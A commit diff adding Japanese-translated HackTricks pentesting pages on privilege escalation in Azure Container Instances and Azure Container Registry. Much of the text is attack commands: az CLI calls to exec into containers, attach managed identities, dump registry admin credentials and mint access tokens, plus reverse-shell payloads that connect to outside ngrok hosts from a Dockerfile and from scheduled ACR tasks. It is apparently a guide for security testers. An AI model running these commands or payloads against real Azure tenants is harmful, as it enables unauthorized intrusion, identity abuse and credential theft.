Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-01-12 18:44:34 +00:00
parent 652d8299d6
commit 09b9fafab2
6 changed files with 391 additions and 4 deletions

View File

@@ -0,0 +1,64 @@
# Az - Azure Container Instances Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Instances
詳細については、次を確認してください:
{{#ref}}
../az-services/az-container-instances.md
{{#endref}}
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
これらの権限により、ユーザーは実行中のコンテナ内で**コマンドを実行**することができます。これを使用して、コンテナに管理されたアイデンティティが付与されている場合に**権限を昇格**させることができます。もちろん、コンテナ内に保存されているソースコードやその他の機密情報にアクセスすることも可能です。
`ls`を実行して出力を取得するのは、次のように簡単です:
```bash
az container exec --name <container-name> --resource-group <res-group> --exec-command 'ls'
```
コンテナの**出力を読み取る**ことも可能です:
```bash
az container attach --name <container-name> --resource-group <res-group>
```
ログを取得するには:
```bash
az container logs --name <container-name> --resource-group <res-group>
```
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
これらの権限は、**ユーザー管理のアイデンティティを**コンテナー グループにアタッチすることを許可します。これは、コンテナー内で権限を昇格させるのに非常に便利です。
ユーザー管理のアイデンティティをコンテナー グループにアタッチするには:
```bash
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
```
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
これらの権限は、**ユーザー管理のアイデンティティ**が付与された**コンテナー グループを作成または更新**することを許可します。これは、コンテナー内で権限を昇格させるのに非常に便利です。
```bash
az container create \
--resource-group <res-group>> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
```
さらに、既存のコンテナグループを更新し、例えば**`--command-line`引数**を逆シェルで追加することも可能です。
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,115 @@
# Az - Azure Container Registry Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Registry
詳細については、次を確認してください:
{{#ref}}
../az-services/az-container-registry.md
{{#endref}}
### `Microsoft.ContainerRegistry/registries/listCredentials/action`
この権限により、ユーザーはACRの管理者資格情報を一覧表示できます。これは、レジストリに対して**完全なアクセス**を取得するのに役立ちます。
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
```
管理者資格情報が有効でない場合、次のコマンドを使用してそれらを有効にするために、`Microsoft.ContainerRegistry/registries/write`の権限も必要です:
```bash
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
```
### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action`
これらの権限により、ユーザーは**レジストリにアクセスするためのパスワードを持つ新しいトークンを作成**できます。
次の例のように`az cli`を使用して生成するには、`Microsoft.ContainerRegistry/registries/read``Microsoft.ContainerRegistry/registries/scopeMaps/read``Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read``Microsoft.ContainerRegistry/registries/tokens/read`の権限も必要です。
```bash
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
```
### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action`
これらの権限は、ユーザーがレジストリ内で**イメージをビルドおよび実行する**ことを許可します。これは、コンテナ内で**コードを実行する**ために使用できます。
>[!WARNING]
> ただし、イメージは**サンドボックス環境**で実行され、**メタデータサービスへのアクセスなし**で実行されます。これは、コンテナが**インスタンスメタデータ**にアクセスできないことを意味するため、特権を昇格させるにはあまり役に立ちません。
```bash
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
```
### `Microsoft.ContainerRegistry/registries/tasks/write`
これは、レジストリ内でタスクを作成および更新することを許可する主要な権限です。これは、**管理されたアイデンティティが付与されたコンテナ内でコードを実行する**ために使用できます。
これは、**システム管理**アイデンティティが付与されたコンテナ内でリバースシェルを実行する方法の例です:
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
```
タスクから外部リポジトリを使用せずにRCEを取得する別の方法は、`az acr task create`コマンドを`--cmd`フラグと共に使用することです。これにより、コンテナ内でコマンドを実行できます。例えば、次のコマンドでリバースシェルを実行できます:
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
```
> [!TIP]
> システム管理アイデンティティを割り当てるには特別な権限は必要ありませんが、レジストリで事前に有効にされ、役立つためのいくつかの権限が割り当てられている必要があります。
**ユーザー管理アイデンティティを割り当てるには**`Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` の権限が必要です。
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
```
既存のタスクのリポジトリを**更新**するには、次のようにします:
```bash
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
```
### `Microsoft.ContainerRegistry/registries/importImage/action`
この権限を使用すると、**ローカルに画像がなくてもazureレジストリに画像をインポート**することが可能です。ただし、**すでにレジストリに存在するタグを持つ画像をインポートすることはできません**。
```bash
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
```
特定のイメージタグをレジストリから**タグ解除または削除**するには、次のコマンドを使用できます。ただし、実行するには**十分な権限**を持つユーザーまたはトークンが必要です:
```bash
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>
az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
```
{{#include ../../../banners/hacktricks-training.md}}